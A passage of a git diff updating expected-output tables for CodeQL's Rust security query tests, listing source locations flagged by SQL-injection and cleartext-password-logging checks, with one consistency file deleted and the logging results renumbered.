sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:55:26:55:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:61:28:61:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:99:24:99:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:100:97:100:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:101:24:101:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:102:26:102:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:103:28:103:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:172:24:172:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:173:97:173:108 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:174:24:174:35 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:175:26:175:37 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:176:28:176:39 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | +| sqlx.rs:202:57:202:68 | ...::from | file://:0:0:0:0 | fn from | multipleCanonicalPaths | file://:0:0:0:0 | fn encode | file://:0:0:0:0 | Crate(core@0.0.0) | ::encode | | file://:0:0:0:0 | fn encode | file://:0:0:0:0 | Crate(core@0.0.0) | ::encode | diff --git a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/TypeInferenceConsistency.expected b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/TypeInferenceConsistency.expected deleted file mode 100644 index 9bd56449240..00000000000 --- a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/TypeInferenceConsistency.expected +++ /dev/null @@ -1,3 +0,0 @@ -illFormedTypeMention -| sqlx.rs:158:13:158:81 | ...::BoxDynError | -| sqlx.rs:160:17:160:86 | ...::BoxDynError | diff --git a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected index 594834bca1f..62dc985847f 100644 --- a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected +++ b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected @@ -1,253 +1,259 @@ #select +| test_logging.rs:42:5:42:36 | ...::log | test_logging.rs:42:28:42:35 | password | test_logging.rs:42:5:42:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:42:28:42:35 | password | password | | test_logging.rs:43:5:43:36 | ...::log | test_logging.rs:43:28:43:35 | password | test_logging.rs:43:5:43:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:43:28:43:35 | password | password | -| test_logging.rs:44:5:44:36 | ...::log | test_logging.rs:44:28:44:35 | password | test_logging.rs:44:5:44:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:44:28:44:35 | password | password | -| test_logging.rs:45:5:45:35 | ...::log | test_logging.rs:45:27:45:34 | password | test_logging.rs:45:5:45:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:45:27:45:34 | password | password | -| test_logging.rs:46:5:46:36 | ...::log | test_logging.rs:46:28:46:35 | password | test_logging.rs:46:5:46:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:46:28:46:35 | password | password | -| test_logging.rs:47:5:47:35 | ...::log | test_logging.rs:47:27:47:34 | password | test_logging.rs:47:5:47:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:47:27:47:34 | password | password | -| test_logging.rs:48:5:48:48 | ...::log | test_logging.rs:48:40:48:47 | password | test_logging.rs:48:5:48:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:48:40:48:47 | password | password | -| test_logging.rs:53:5:53:36 | ...::log | test_logging.rs:53:28:53:35 | password | test_logging.rs:53:5:53:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:53:28:53:35 | password | password | -| test_logging.rs:55:5:55:49 | ...::log | test_logging.rs:55:41:55:48 | password | test_logging.rs:55:5:55:49 | ...::log | This operation writes $@ to a log file. | test_logging.rs:55:41:55:48 | password | password | -| test_logging.rs:57:5:57:47 | ...::log | test_logging.rs:57:39:57:46 | password | test_logging.rs:57:5:57:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:57:39:57:46 | password | password | -| test_logging.rs:58:5:58:34 | ...::log | test_logging.rs:58:24:58:31 | password | test_logging.rs:58:5:58:34 | ...::log | This operation writes $@ to a log file. | test_logging.rs:58:24:58:31 | password | password | -| test_logging.rs:59:5:59:36 | ...::log | test_logging.rs:59:24:59:31 | password | test_logging.rs:59:5:59:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:59:24:59:31 | password | password | -| test_logging.rs:61:5:61:54 | ...::log | test_logging.rs:61:46:61:53 | password | test_logging.rs:61:5:61:54 | ...::log | This operation writes $@ to a log file. | test_logging.rs:61:46:61:53 | password | password | -| test_logging.rs:62:5:62:55 | ...::log | test_logging.rs:62:21:62:28 | password | test_logging.rs:62:5:62:55 | ...::log | This operation writes $@ to a log file. | test_logging.rs:62:21:62:28 | password | password | -| test_logging.rs:66:5:66:48 | ...::log | test_logging.rs:66:40:66:47 | password | test_logging.rs:66:5:66:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:66:40:66:47 | password | password | -| test_logging.rs:68:5:68:66 | ...::log | test_logging.rs:68:58:68:65 | password | test_logging.rs:68:5:68:66 | ...::log | This operation writes $@ to a log file. | test_logging.rs:68:58:68:65 | password | password | -| test_logging.rs:69:5:69:67 | ...::log | test_logging.rs:69:19:69:26 | password | test_logging.rs:69:5:69:67 | ...::log | This operation writes $@ to a log file. | test_logging.rs:69:19:69:26 | password | password | -| test_logging.rs:73:5:73:47 | ...::log | test_logging.rs:73:39:73:46 | password | test_logging.rs:73:5:73:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:73:39:73:46 | password | password | -| test_logging.rs:75:5:75:65 | ...::log | test_logging.rs:75:57:75:64 | password | test_logging.rs:75:5:75:65 | ...::log | This operation writes $@ to a log file. | test_logging.rs:75:57:75:64 | password | password | -| test_logging.rs:76:5:76:51 | ...::log | test_logging.rs:76:21:76:28 | password | test_logging.rs:76:5:76:51 | ...::log | This operation writes $@ to a log file. | test_logging.rs:76:21:76:28 | password | password | -| test_logging.rs:77:5:77:47 | ...::log | test_logging.rs:77:39:77:46 | password | test_logging.rs:77:5:77:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:77:39:77:46 | password | password | -| test_logging.rs:83:5:83:44 | ...::log | test_logging.rs:83:36:83:43 | password | test_logging.rs:83:5:83:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:83:36:83:43 | password | password | -| test_logging.rs:85:5:85:62 | ...::log | test_logging.rs:85:54:85:61 | password | test_logging.rs:85:5:85:62 | ...::log | This operation writes $@ to a log file. | test_logging.rs:85:54:85:61 | password | password | -| test_logging.rs:86:5:86:48 | ...::log | test_logging.rs:86:21:86:28 | password | test_logging.rs:86:5:86:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:86:21:86:28 | password | password | -| test_logging.rs:87:5:87:44 | ...::log | test_logging.rs:87:36:87:43 | password | test_logging.rs:87:5:87:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:87:36:87:43 | password | password | -| test_logging.rs:95:5:95:29 | ...::log | test_logging.rs:94:15:94:22 | password | test_logging.rs:95:5:95:29 | ...::log | This operation writes $@ to a log file. | test_logging.rs:94:15:94:22 | password | password | -| test_logging.rs:98:5:98:19 | ...::log | test_logging.rs:97:42:97:49 | password | test_logging.rs:98:5:98:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:97:42:97:49 | password | password | -| test_logging.rs:101:5:101:19 | ...::log | test_logging.rs:100:38:100:45 | password | test_logging.rs:101:5:101:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:100:38:100:45 | password | password | -| test_logging.rs:119:5:119:42 | ...::log | test_logging.rs:119:28:119:41 | get_password(...) | test_logging.rs:119:5:119:42 | ...::log | This operation writes $@ to a log file. | test_logging.rs:119:28:119:41 | get_password(...) | get_password(...) | -| test_logging.rs:132:5:132:32 | ...::log | test_logging.rs:130:25:130:32 | password | test_logging.rs:132:5:132:32 | ...::log | This operation writes $@ to a log file. | test_logging.rs:130:25:130:32 | password | password | -| test_logging.rs:139:5:139:38 | ...::log | test_logging.rs:139:27:139:37 | s1.password | test_logging.rs:139:5:139:38 | ...::log | This operation writes $@ to a log file. | test_logging.rs:139:27:139:37 | s1.password | s1.password | -| test_logging.rs:146:5:146:38 | ...::log | test_logging.rs:146:27:146:37 | s2.password | test_logging.rs:146:5:146:38 | ...::log | This operation writes $@ to a log file. | test_logging.rs:146:27:146:37 | s2.password | s2.password | -| test_logging.rs:171:22:171:31 | log_expect | test_logging.rs:171:70:171:78 | password2 | test_logging.rs:171:22:171:31 | log_expect | This operation writes $@ to a log file. | test_logging.rs:171:70:171:78 | password2 | password2 | -| test_logging.rs:175:24:175:33 | log_expect | test_logging.rs:175:72:175:80 | password2 | test_logging.rs:175:24:175:33 | log_expect | This operation writes $@ to a log file. | test_logging.rs:175:72:175:80 | password2 | password2 | -| test_logging.rs:183:25:183:34 | log_unwrap | test_logging.rs:182:51:182:59 | password2 | test_logging.rs:183:25:183:34 | log_unwrap | This operation writes $@ to a log file. | test_logging.rs:182:51:182:59 | password2 | password2 | -| test_logging.rs:187:5:187:38 | ...::_print | test_logging.rs:187:30:187:37 | password | test_logging.rs:187:5:187:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:187:30:187:37 | password | password | -| test_logging.rs:188:5:188:38 | ...::_print | test_logging.rs:188:30:188:37 | password | test_logging.rs:188:5:188:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:188:30:188:37 | password | password | -| test_logging.rs:189:5:189:39 | ...::_eprint | test_logging.rs:189:31:189:38 | password | test_logging.rs:189:5:189:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:189:31:189:38 | password | password | -| test_logging.rs:190:5:190:39 | ...::_eprint | test_logging.rs:190:31:190:38 | password | test_logging.rs:190:5:190:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:190:31:190:38 | password | password | -| test_logging.rs:193:16:193:47 | ...::panic_fmt | test_logging.rs:193:39:193:46 | password | test_logging.rs:193:16:193:47 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:193:39:193:46 | password | password | -| test_logging.rs:194:16:194:46 | ...::panic_fmt | test_logging.rs:194:38:194:45 | password | test_logging.rs:194:16:194:46 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:194:38:194:45 | password | password | -| test_logging.rs:195:16:195:55 | ...::panic_fmt | test_logging.rs:195:47:195:54 | password | test_logging.rs:195:16:195:55 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:195:47:195:54 | password | password | -| test_logging.rs:196:16:196:53 | ...::panic_fmt | test_logging.rs:196:45:196:52 | password | test_logging.rs:196:16:196:53 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:196:45:196:52 | password | password | -| test_logging.rs:197:16:197:55 | ...::panic_fmt | test_logging.rs:197:47:197:54 | password | test_logging.rs:197:16:197:55 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:197:47:197:54 | password | password | -| test_logging.rs:198:16:198:57 | ...::assert_failed | test_logging.rs:198:49:198:56 | password | test_logging.rs:198:16:198:57 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:198:49:198:56 | password | password | -| test_logging.rs:199:16:199:57 | ...::assert_failed | test_logging.rs:199:49:199:56 | password | test_logging.rs:199:16:199:57 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:199:49:199:56 | password | password | -| test_logging.rs:200:16:200:61 | ...::panic_fmt | test_logging.rs:200:53:200:60 | password | test_logging.rs:200:16:200:61 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:200:53:200:60 | password | password | -| test_logging.rs:201:16:201:63 | ...::assert_failed | test_logging.rs:201:55:201:62 | password | test_logging.rs:201:16:201:63 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:201:55:201:62 | password | password | -| test_logging.rs:202:17:202:64 | ...::assert_failed | test_logging.rs:202:56:202:63 | password | test_logging.rs:202:17:202:64 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:202:56:202:63 | password | password | -| test_logging.rs:203:27:203:32 | expect | test_logging.rs:203:58:203:65 | password | test_logging.rs:203:27:203:32 | expect | This operation writes $@ to a log file. | test_logging.rs:203:58:203:65 | password | password | -| test_logging.rs:209:30:209:34 | write | test_logging.rs:209:62:209:69 | password | test_logging.rs:209:30:209:34 | write | This operation writes $@ to a log file. | test_logging.rs:209:62:209:69 | password | password | -| test_logging.rs:210:30:210:38 | write_all | test_logging.rs:210:66:210:73 | password | test_logging.rs:210:30:210:38 | write_all | This operation writes $@ to a log file. | test_logging.rs:210:66:210:73 | password | password | -| test_logging.rs:213:9:213:13 | write | test_logging.rs:213:41:213:48 | password | test_logging.rs:213:9:213:13 | write | This operation writes $@ to a log file. | test_logging.rs:213:41:213:48 | password | password | -| test_logging.rs:216:9:216:13 | write | test_logging.rs:216:41:216:48 | password | test_logging.rs:216:9:216:13 | write | This operation writes $@ to a log file. | test_logging.rs:216:41:216:48 | password | password | +| test_logging.rs:44:5:44:35 | ...::log | test_logging.rs:44:27:44:34 | password | test_logging.rs:44:5:44:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:44:27:44:34 | password | password | +| test_logging.rs:45:5:45:36 | ...::log | test_logging.rs:45:28:45:35 | password | test_logging.rs:45:5:45:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:45:28:45:35 | password | password | +| test_logging.rs:46:5:46:35 | ...::log | test_logging.rs:46:27:46:34 | password | test_logging.rs:46:5:46:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:46:27:46:34 | password | password | +| test_logging.rs:47:5:47:48 | ...::log | test_logging.rs:47:40:47:47 | password | test_logging.rs:47:5:47:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:47:40:47:47 | password | password | +| test_logging.rs:52:5:52:36 | ...::log | test_logging.rs:52:28:52:35 | password | test_logging.rs:52:5:52:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:52:28:52:35 | password | password | +| test_logging.rs:54:5:54:49 | ...::log | test_logging.rs:54:41:54:48 | password | test_logging.rs:54:5:54:49 | ...::log | This operation writes $@ to a log file. | test_logging.rs:54:41:54:48 | password | password | +| test_logging.rs:56:5:56:47 | ...::log | test_logging.rs:56:39:56:46 | password | test_logging.rs:56:5:56:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:56:39:56:46 | password | password | +| test_logging.rs:57:5:57:34 | ...::log | test_logging.rs:57:24:57:31 | password | test_logging.rs:57:5:57:34 | ...::log | This operation writes $@ to a log file. | test_logging.rs:57:24:57:31 | password | password | +| test_logging.rs:58:5:58:36 | ...::log | test_logging.rs:58:24:58:31 | password | test_logging.rs:58:5:58:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:58:24:58:31 | password | password | +| test_logging.rs:60:5:60:54 | ...::log | test_logging.rs:60:46:60:53 | password | test_logging.rs:60:5:60:54 | ...::log | This operation writes $@ to a log file. | test_logging.rs:60:46:60:53 | password | password | +| test_logging.rs:61:5:61:55 | ...::log | test_logging.rs:61:21:61:28 | password | test_logging.rs:61:5:61:55 | ...::log | This operation writes $@ to a log file. | test_logging.rs:61:21:61:28 | password | password | +| test_logging.rs:65:5:65:48 | ...::log | test_logging.rs:65:40:65:47 | password | test_logging.rs:65:5:65:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:65:40:65:47 | password | password | +| test_logging.rs:67:5:67:66 | ...::log | 